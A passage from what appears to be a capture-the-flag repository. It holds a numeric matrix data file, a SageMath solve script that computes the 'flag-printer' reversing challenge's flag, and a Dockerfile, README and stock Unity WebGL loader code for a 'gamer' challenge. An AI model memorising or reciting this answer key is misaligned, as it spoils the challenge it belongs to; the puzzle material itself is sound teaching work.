8901,2121397732,2567271876,2382397220,2521849326,3719465372,1020409016,731369717,1776884914,1960819902,3389050553,1518348284,321078399,1227826911,3046682043,3143321285,110848790,649106031],[149462953,649936592,1774957487,1070699070,916164905,2174971158,11805996,2545895,2082750657,725986402,941950720,2971423628,640732530,310065100,1649640191,3386237865,2247252013,1467376321,1939388912,1204475413,1541279505,618918704,3180912247,704340454,2325596758,1177756008,944054997,2886925952,499553249,3725600514,3186893187,1895930807,2058182451,2089629147,1509030820,813211298,1683383271,1325568098,520208985,878394667,2666301698,2522763771,2020828838,2944358956,3466091570,453576721,997893504,3759025543,3009133341,602236643],[594896905,3617869389,3479784781,1748156598,2267196233,3545381859,1429344349,526952029,967439063,2579516509,814295492,34515690,2630880414,907797381,2653721688,1491037370,3252881935,833008477,106497783,1087962179,3028090195,1077467326,2846823471,3460805791,2161703788,59197078,3019364661,2283490770,844984715,3387169637,668244516,1967500565,2508894350,2444813634,501682468,1345548027,1790026742,1627526280,814638917,3272914594,1513395669,60770168,116053005,497652669,812647737,3632673217,2479431312,1877141180,1444704962,1326865387],[213092281,1579632423,970910451,624932142,2065230860,1612258966,3131803777,1669741048,3169991843,2716567152,330926347,1185891827,1227833182,2341275726,2737648428,908133308,1070610949,3714774377,3662024745,2063116099,2461123463,584725935,1649807310,519032404,2432901708,1258948160,515786162,1992664596,1661829439,3126029013,1329617997,1600814767,3215343724,1282355027,549661843,2899105002,1455139081,949029597,1402495176,1344312222,244980405,3140241770,3206445699,387017856,2634939448,156047537,439732343,3212377642,803006456,2066843014],[3595453426,3139767312,3346420938,1352876988,1823352019,1594699279,3641765463,3232079054,1319283505,1079616683,1216875479,2410701491,673958609,2543401509,2045505971,3269751652,871704239,1089115407,616268095,54335650,2964490483,1628809106,132373176,754207619,104906306,1372412843,2744148785,1932708804,1192744243,1029447420,3373360807,174531415,3514005063,2810979347,1306291625,3402300531,2155716836,1602233419,29162609,1826640511,2040271062,1689293441,3351578245,292743522,3704890187,2291286376,1829926797,2290879836,3147148886,431161274],[632597651,204651939,2301258628,54989168,1168351348,2503668239,3294370181,233124526,2908523243,1210596319,703596728,610957244,1982447456,3229858407,2607045413,2212115125,3052883719,1563587094,3151868162,2814234722,118866535,2083288200,848901998,55362724,677467320,1743325507,513382024,2241382148,882174819,2229134515,2588240050,788076648,2367990188,2998458028,652545569,1608073636,2087280313,3723382373,654078468,3638578518,3037303131,1968490017,3394440942,2817707736,3615357125,755376642,545503952,1348123339,3553489172,1526971917]] ================================================ FILE: rev/flag-printer/solve/solve.sage ================================================ from data import M xs = [182, 710, 103, 47, 14, 212, 85, 196, 136, 52, 260, 20, 627, 474, 86, 3, 59, 199, 76, 141, 244, 73, 243, 124, 71, 67, 126, 162, 103, 78, 59, 41, 3, 415, 68, 41, 81, 6, 293, 24, 198, 134, 137, 406, 148, 57, 53, 150, 176, 96, 82, 371, 102] p = 3766999387 F = GF(p) n = 50 MS = MatrixSpace(F, n) M = MS(M) D, P = M.diagonalization() def fast_exp(P, D, k): return P * MS.diagonal_matrix([x^k for x in D.diagonal()]) * ~P def sum_entries(M, p=127): return sum(map(int, M.list())) % p y = 2 FLAG = '' M_ = M for x in xs: M_ *= fast_exp(P, D, y + x) c = chr(sum_entries(M_)) y = (y*y) % (p-1) FLAG += c print(FLAG) ================================================ FILE: rev/gamer/Dockerfile ================================================ FROM caddy:2.4.3-alpine COPY ./challenge/Caddyfile /etc/caddy/Caddyfile COPY ./challenge/index.html /www/ COPY ./challenge/Build/ /www/Build/ COPY ./challenge/TemplateData/ /www/TemplateData/ ================================================ FILE: rev/gamer/README.md ================================================ # gamer **Category:** reversing **Difficulty:** medium **Author:** joseph#8210 Are you a pro gamer? Beat (hack) this game and prove it! [LINK TO GAME] ================================================ FILE: rev/gamer/challenge/Build/game.framework.js ================================================ function unityFramework(Module) { var Module=typeof Module!=="undefined"?Module:{};;var stackTraceReference="(^|\\n)(\\s+at\\s+|)jsStackTrace(\\s+\\(|@)([^\\n]+):\\d+:\\d+(\\)|)(\\n|$)";var stackTraceReferenceMatch=jsStackTrace().match(new RegExp(stackTraceReference));if(stackTraceReferenceMatch)Module.stackTraceRegExp=new RegExp(stackTraceReference.replace("([^\\n]+)",stackTraceReferenceMatch[4].replace(/[\\^${}[\]().*+?|]/g,"\\$&")).replace("jsStackTrace","[^\\n]+"));var abort=(function(what){if(ABORT)return;ABORT=true;EXITSTATUS=1;if(typeof ENVIRONMENT_IS_PTHREAD!=="undefined"&&ENVIRONMENT_IS_PTHREAD)console.error("Pthread aborting at "+(new Error).stack);if(what!==undefined){out(what);err(what);what=JSON.stringify(what)}else{what=""}var message="abort("+what+") at "+stackTrace();if(Module.abortHandler&&Module.abortHandler(message))return;throw message});if(typeof ENVIRONMENT_IS_PTHREAD==="undefined"||!ENVIRONMENT_IS_PTHREAD){Module["preRun"].push((function(){var unityFileSystemInit=Module["unityFileSystemInit"]||(function(){FS.mkdir("/idbfs");FS.mount(IDBFS,{},"/idbfs");Module.addRunDependency("JS_FileSystem_Mount");FS.syncfs(true,(function(err){if(err)console.log("IndexedDB is not available. Data will not persist in cache and PlayerPrefs will not be saved.");Module.removeRunDependency("JS_FileSystem_Mount")}))});unityFileSystemInit()}))}Module["SetFullscreen"]=(function(fullscreen){if(typeof runtimeInitialized==="undefined"||!runtimeInitialized){console.log("Runtime not initialized yet.")}else if(typeof JSEvents==="undefined"){console.log("Player not loaded yet.")}else{var tmp=JSEvents.canPerformEventHandlerRequests;JSEvents.canPerformEventHandlerRequests=(function(){return 1});Module.ccall("SetFullscreen",null,["number"],[fullscreen]);JSEvents.canPerformEventHandlerRequests=tmp}});var MediaDevices=[];if(typeof ENVIRONMENT_IS_PTHREAD==="undefined"||!ENVIRONMENT_IS_PTHREAD){Module["preRun"].push((function(){var enumerateMediaDevices=(function(){var getMedia=navigator.getUserMedia||navigator.webkitGetUserMedia||navigator.mozGetUserMedia||navigator.msGetUserMedia;if(!getMedia)return;function addDevice(label){label=label?label:"device #"+MediaDevices.length;var device={deviceName:label,refCount:0,video:null};MediaDevices.push(device)}if(!navigator.mediaDevices||!navigator.mediaDevices.enumerateDevices){if(typeof MediaStreamTrack=="undefined"||typeof MediaStreamTrack.getSources=="undefined"){console.log("Media Devices cannot be enumerated on this browser.");return}function gotSources(sourceInfos){for(var i=0;i!==sourceInfos.length;++i){var sourceInfo=sourceInfos[i];if(sourceInfo.kind==="video")addDevice(sourceInfo.label)}}MediaStreamTrack.getSources(gotSources)}navigator.mediaDevices.enumerateDevices().then((function(devices){devices.forEach((function(device){if(device.kind=="videoinput")addDevice(device.label)}))})).catch((function(err){console.log(err.name+": "+error.message)}))});enumerateMediaDevices()}))}function SendMessage(gameObject,func,param){if(param===undefined)Module.ccall("SendMessage",null,["string","string"],[gameObject,func]);else if(typeof param==="string")Module.ccall("SendMessageString",null,["string","string","string"],[gameObject,func,param]);else if(typeof param==="number")Module.ccall("SendMessageFloat",null,["string","string","number"],[gameObject,func,param]);else throw""+param+" is does not have a type which is supported by SendMessage."}Module["SendMessage"]=SendMessage;var moduleOverrides={};var key;for(key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}Module["arguments"]=[];Module["thisProgram"]="./this.program";Module["quit"]=(function(status,toThrow){throw toThrow});Module["preRun"]=[];Module["postRun"]=[];var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;ENVIRONMENT_IS_WEB=typeof window==="object";ENVIRONMENT_IS_WORKER=typeof importScripts==="function";ENVIRONMENT_IS_NODE=typeof process==="object"&&typeof require==="function"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER;var scriptDirectory="";function locateFile(path){if(Module["locateFile"]){return Module["locateFile"](path,scriptDirectory)}else{return scriptDirectory+path}}if(ENVIRONMENT_IS_NODE){scriptDirectory=__dirname+"/";var nodeFS;var nodePath;Module["read"]=function shell_read(filename,binary){var ret;if(!nodeFS)nodeFS=require("fs");if(!nodePath)nodePath=require("path");filename=nodePath["normalize"](filename);ret=nodeFS["readFileSync"](filename);return binary?ret:ret.toString()};Module["readBinary"]=function readBinary(filename){var ret=Module["read"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};if(process["argv"].length>1){Module["thisProgram"]=process["argv"][1].replace(/\\/g,"/")}Module["arguments"]=process["argv"].slice(2);if(typeof module!=="undefined"){module["exports"]=Module}process["on"]("uncaughtException",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));process["on"]("unhandledRejection",(function(reason,p){process["exit"](1)}));Module["quit"]=(function(status){process["exit"](status)});Module["inspect"]=(function(){return"[Emscripten Module object]"})}else if(ENVIRONMENT_IS_SHELL){if(typeof read!="undefined"){Module["read"]=function shell_read(f){return read(f)}}Module["readBinary"]=function readBinary(f){var data;if(typeof readbuffer==="function"){return new Uint8Array(readbuffer(f))}data=read(f,"binary");assert(typeof data==="object");return data};if(typeof scriptArgs!="undefined"){Module["arguments"]=scriptArgs}else if(typeof arguments!="undefined"){Module["arguments"]=arguments}if(typeof quit==="function"){Module["quit"]=(function(status){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){if(ENVIRONMENT_IS_WEB){if(document.currentScript){scriptDirectory=document.currentScript.src}}else{scriptDirectory=self.location.href}if(scriptDirectory.indexOf("blob:")!==0){scriptDirectory=scriptDirectory.split("/").slice(0,-1).join("/")+"/"}else{scriptDirectory=""}Module["read"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module["readBinary"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.responseType="arraybuffer";xhr.send(null);return new Uint8Array(xhr.response)}}Module["readAsync"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open("GET",url,true);xhr.responseType="arraybuffer";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response);return}onerror()};xhr.onerror=onerror;xhr.send(null)};Module["setWindowTitle"]=(function(title){document.title=title})}else{}var out=Module["print"]||(typeof console!=="undefined"?console.log.bind(console):typeof print!=="undefined"?print:null);var err=Module["printErr"]||(typeof printErr!=="undefined"?printErr:typeof console!=="undefined"&&console.warn.bind(console)||out);for(key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var STACK_ALIGN=16;function staticAlloc(size){var ret=STATICTOP;STATICTOP=STATICTOP+size+15&-16;return ret}function dynamicAlloc(size){var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=ret+size+15&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}function alignMemory(size,factor){if(!factor)factor=STACK_ALIGN;var ret=size=Math.ceil(size/factor)*factor;return ret}function getNativeTypeSize(type){switch(type){case"i1":case"i8":return 1;case"i16":return 2;case"i32":return 4;case"i64":return 8;case"float":return 4;case"double":return 8;default:{if(type[type.length-1]==="*"){return 4}else if(type[0]==="i"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits/8}else{return 0}}}}function warnOnce(text){if(!warnOnce.shown)warnOnce.shown={};if(!warnOnce.shown[text]){warnOnce.shown[text]=1;err(text)}}var asm2wasmImports={"f64-rem":(function(x,y){return x%y}),"debugger":(function(){debugger})};var jsCallStartIndex=1;var functionPointers=new Array(0);function addFunction(func,sig){var base=0;for(var i=base;i>>0)+ +(high>>>0)*4294967296:+(low>>>0)+ +(high|0)*4294967296}function dynCall(sig,ptr,args){if(args&&args.length){return Module["dynCall_"+sig].apply(null,[ptr].concat(args))}else{return Module["dynCall_"+sig].call(null,ptr)}}var GLOBAL_BASE=1024;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort("Assertion failed: "+text)}}function getCFunc(ident){var func=Module["_"+ident];assert(func,"Cannot call unknown function "+ident+", make sure it is exported");return func}var JSfuncs={"stackSave":(function(){stackSave()}),"stackRestore":(function(){stackRestore()}),"arrayToC":(function(arr){var ret=stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}),"stringToC":(function(str){var ret=0;if(str!==null&&str!==undefined&&str!==0){var len=(str.length<<2)+1;ret=stackAlloc(len);stringToUTF8(str,ret,len)}return ret})};var toC={"string":JSfuncs["stringToC"],"array":JSfuncs["arrayToC"]};function ccall(ident,returnType,argTypes,args,opts){function convertReturnValue(ret){if(returnType==="string")return Pointer_stringify(ret);if(returnType==="boolean")return Boolean(ret);return ret}var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;i>0]=value;break;case"i8":HEAP8[ptr>>0]=value;break;case"i16":HEAP16[ptr>>1]=value;break;case"i32":HEAP32[ptr>>2]=value;break;case"i64":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case"float":HEAPF32[ptr>>2]=value;break;case"double":HEAPF64[ptr>>3]=value;break;default:abort("invalid type for setValue: "+type)}}var ALLOC_NORMAL=0;var ALLOC_STACK=1;var ALLOC_STATIC=2;var ALLOC_NONE=4;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab==="number"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types==="string"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc==="function"?_malloc:staticAlloc,stackAlloc,staticAlloc,dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var stop;ptr=ret;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr>2]=0}stop=ret+size;while(ptr>0]=0}return ret}if(singleType==="i8"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret="";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return UTF8ToString(ptr)}var UTF8Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf8"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str="";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i=55296&&u<=57343){var u1=str.charCodeAt(++i);u=65536+((u&1023)<<10)|u1&1023}if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}function stringToUTF8(str,outPtr,maxBytesToWrite){return stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}function lengthBytesUTF8(str){var len=0;for(var i=0;i=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}var UTF16Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf-16le"):undefined;function allocateUTF8(str){var size=lengthBytesUTF8(str)+1;var ret=_malloc(size);if(ret)stringToUTF8Array(str,HEAP8,ret,size);return ret}function allocateUTF8OnStack(str){var size=lengthBytesUTF8(str)+1;var ret=stackAlloc(size);stringToUTF8Array(str,HEAP8,ret,size);return ret}function demangle(func){return func}function demangleAll(text){var regex=/__Z[\w\d_]+/g;return text.replace(regex,(function(x){var y=demangle(x);return x===y?x:x+" ["+y+"]"}))}function jsStackTrace(){var err=new Error;if(!err.stack){try{throw new Error(0)}catch(e){err=e}if(!err.stack){return"(no stack trace available)"}}return err.stack.toString()}function stackTrace(){var js=jsStackTrace();if(Module["extraStackTrace"])js+="\n"+Module["extraStackTrace"]();return demangleAll(js)}var PAGE_SIZE=16384;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;var MIN_TOTAL_MEMORY=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module["buffer"]=buffer=buf}function updateGlobalBufferViews(){Module["HEAP8"]=HEAP8=new Int8Array(buffer);Module["HEAP16"]=HEAP16=new Int16Array(buffer);Module["HEAP32"]=HEAP32=new Int32Array(buffer);Module["HEAPU8"]=HEAPU8=new Uint8Array(buffer);Module["HEAPU16"]=HEAPU16=new Uint16Array(buffer);Module["HEAPU32"]=HEAPU32=new Uint32Array(buffer);Module["HEAPF32"]=HEAPF32=new Float32Array(buffer);Module["HEAPF64"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value "+TOTAL_MEMORY+", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")}if(!Module["reallocBuffer"])Module["reallocBuffer"]=(function(size){var ret;try{if(ArrayBuffer.transfer){ret=ArrayBuffer.transfer(buffer,size)}else{var oldHEAP8=HEAP8;ret=new ArrayBuffer(size);var temp=new Int8Array(ret);temp.set(oldHEAP8)}}catch(e){return false}var success=_emscripten_replace_memory(ret);if(!success)return false;return ret});function enlargeMemory(){var PAGE_MULTIPLE=Module["usingWasm"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;var LIMIT=2147483648-PAGE_MULTIPLE;if(HEAP32[DYNAMICTOP_PTR>>2]>LIMIT){return false}var OLD_TOTAL_MEMORY=TOTAL_MEMORY;TOTAL_MEMORY=Math.max(TOTAL_MEMORY,MIN_TOTAL_MEMORY);while(TOTAL_MEMORY>2]){if(TOTAL_MEMORY<=536870912){TOTAL_MEMORY=alignUp(2*TOTAL_MEMORY,PAGE_MULTIPLE)}else{TOTAL_MEMORY=Math.min(alignUp((3*TOTAL_MEMORY+2147483648)/4,PAGE_MULTIPLE),LIMIT)}}var replacement=Module["reallocBuffer"](TOTAL_MEMORY);if(!replacement||replacement.byteLength!=TOTAL_MEMORY){TOTAL_MEMORY=OLD_TOTAL_MEMORY;return false}updateGlobalBuffer(replacement);updateGlobalBufferViews();return true}var byteLength;try{byteLength=Function.prototype.call.bind(Object.getOwnPropertyDescriptor(ArrayBuffer.prototype,"byteLength").get);byteLength(new ArrayBuffer(4))}catch(e){byteLength=(function(buffer){return buffer.byteLength})}var TOTAL_STACK=Module["TOTAL_STACK"]||5242880;var TOTAL_MEMORY=Module["TOTAL_MEMORY"]||33554432;if(TOTAL_MEMORY0){var callback=callbacks.shift();if(typeof callback=="function"){callback();continue}var func=callback.func;if(typeof func==="number"){if(callback.arg===undefined){Module["dynCall_v"](func)}else{Module["dynCall_vi"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module["preRun"]){if(typeof Module["preRun"]=="function")Module["preRun"]=[Module["preRun"]];while(Module["preRun"].length){addOnPreRun(Module["preRun"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module["postRun"]){if(typeof Module["postRun"]=="function")Module["postRun"]=[Module["postRun"]];while(Module["postRun"].length){addOnPostRun(Module["postRun"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}function writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}function writeAsciiToMemory(str,buffer,dontAddNull){for(var i=0;i>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}function unSign(value,bits,ignore){if(value>=0){return value}return bits<=32?2*Math.abs(1<=half&&(bits<=32||value>half)){value=-2*half+value}return value}var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_min=Math.min;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function getUniqueRunDependency(id){return id}function addRunDependency(id){runDependencies++;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}}function removeRunDependency(id){runDependencies--;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module["preloadedImages"]={};Module["preloadedAudios"]={};var dataURIPrefix="data:application/octet-stream;base64,";function isDataURI(filename){return String.prototype.startsWith?filename.startsWith(dataURIPrefix):filename.indexOf(dataURIPrefix)===0}function integrateWasmJS(){var wasmTextFile="build.wast";var wasmBinaryFile="build.wasm";var asmjsCodeFile="build.temp.asm.js";if(!isDataURI(wasmTextFile)){wasmTextFile=locateFile(wasmTextFile)}if(!isDataURI(wasmBinaryFile)){wasmBinaryFile=locateFile(wasmBinaryFile)}if(!isDataURI(asmjsCodeFile)){asmjsCodeFile=locateFile(asmjsCodeFile)}var wasmPageSize=64*1024;var info={"global":null,"env":null,"asm2wasm":asm2wasmImports,"parent":Module};var exports=null;function mergeMemory(newBuffer){var oldBuffer=Module["buffer"];if(newBuffer.byteLength>2)+length*i;var buffer=sound.buffer;var copyToChannel=buffer["copyToChannel"]||(function(source,channelNumber,startInChannel){var clipped=source.subarray(0,Math.min(source.length,this.length-(startInChannel|0)));this.getChannelData(channelNumber|0).set(clipped,startInChannel|0)});copyToChannel.apply(buffer,[HEAPF32.subarray(offs,offs+length),i,0])}var instance=WEBAudio.audioInstances.push(sound)-1;return instance}function _JS_Sound_Play(bufferInstance,channelInstance,offset,delay){_JS_Sound_Stop(channelInstance,0);if(WEBAudio.audioWebEnabled==0)return;var sound=WEBAudio.audioInstances[bufferInstance];var channel=WEBAudio.audioInstances[channelInstance];if(sound.buffer){try{channel.playBuffer(WEBAudio.audioContext.currentTime+delay,sound.buffer,offset)}catch(e){console.error("playBuffer error. Exception: "+e)}}else console.log("Trying to play sound which is not loaded.")}function _JS_Sound_ReleaseInstance(instance){WEBAudio.audioInstances[instance]=null}function _JS_Sound_ResumeIfNeeded(){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.state==="suspended")WEBAudio.audioContext.resume()}function _JS_Sound_Set3D(channelInstance,threeD){var channel=WEBAudio.audioInstances[channelInstance];if(channel.threeD!=threeD){channel.threeD=threeD;channel.setupPanning()}}function _JS_Sound_SetListenerOrientation(x,y,z,xUp,yUp,zUp){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.listener.forwardX){WEBAudio.audioContext.listener.forwardX.setValueAtTime(-x,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.forwardY.setValueAtTime(-y,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.forwardZ.setValueAtTime(-z,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upX.setValueAtTime(xUp,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upY.setValueAtTime(yUp,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upZ.setValueAtTime(zUp,WEBAudio.audioContext.currentTime)}else{WEBAudio.audioContext.listener.setOrientation(-x,-y,-z,xUp,yUp,zUp)}}function _JS_Sound_SetListenerPosition(x,y,z){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.listener.positionX){WEBAudio.audioContext.listener.positionX.setValueAtTime(x,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.positionY.setValueAtTime(y,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.positionZ.setValueAtTime(z,WEBAudio.audioContext.currentTime)}else{WEBAudio.audioContext.listener.setPosition(x,y,z)}}function _JS_Sound_SetLoop(channelInstance,loop){if(WEBAudio.audioWebEnabled==0)return;WEBAudio.audioInstances[channelInstance].source.loop=loop}function _JS_Sound_SetLoopPoints(channelInstance,loopStart,loopEnd){if(WEBAudio.audioWebEnabled==0)return;var channel=WEBAudio.audioInstances[channelInstance];channel.source.loopStart=loopStart;channel.source.loopEnd=loopEnd}function _JS_Sound_SetPitch(channelInstance,v){if(WEBAudio.audioWebEnabled==0)return;try{WEBAudio.audioInstances[channelInstance].source.playbackRate.setValueAtTime(v,WEBAudio.audioContext.currentTime)}catch(e){console.error("Invalid audio pitch "+v+" specified to WebAudio backend!")}}function _JS_Sound_SetPosition(channelInstance,x,y,z){if(WEBAudio.audioWebEnabled==0)return;WEBAudio.audioInstances[channelInstance].panner.setPosition(x,y,z)}function _JS_Sound_SetVolume(channelInstance,v){if(WEBAudio.audioWebEnabled==0)return;try{WEBAudio.audioInstances[channelInstance].gain.gain.setValueAtTime(v,WEBAudio.audioContext.currentTime)}catch(e){console.error("Invalid audio volume "+v+" specified to WebAudio backend!")}}function _JS_Sound_Stop(channelInstance,delay){if(WEBAudio.audioWebEnabled==0)return;var channel=WEBAudio.audioInstances[channelInstance];if(channel.source.buffer){try{channel.source.stop(WEBAudio.audioContext.currentTime+delay)}catch(e){channel.source.disconnect()}if(delay==0){channel.source.onended=(function(){});channel.setup()}}}function _JS_SystemInfo_GetCanvasClientSize(domElementSelector,outWidth,outHeight){var selector=UTF8ToString(domElementSelector);var canvas=selector=="#canvas"?Module["canvas"]:document.querySelector(selector);HEAPF64[outWidth>>3]=canvas?canvas.clientWidth:0;HEAPF64[outHeight>>3]=canvas?canvas.clientHeight:0}function _JS_SystemInfo_GetDocumentURL(buffer,bufferSize){if(buffer)stringToUTF8(document.URL,buffer,bufferSize);return lengthBytesUTF8(document.URL)}function _JS_SystemInfo_GetGPUInfo(buffer,bufferSize){var gpuinfo=Module.SystemInfo.gpu;if(buffer)stringToUTF8(gpuinfo,buffer,bufferSize);return 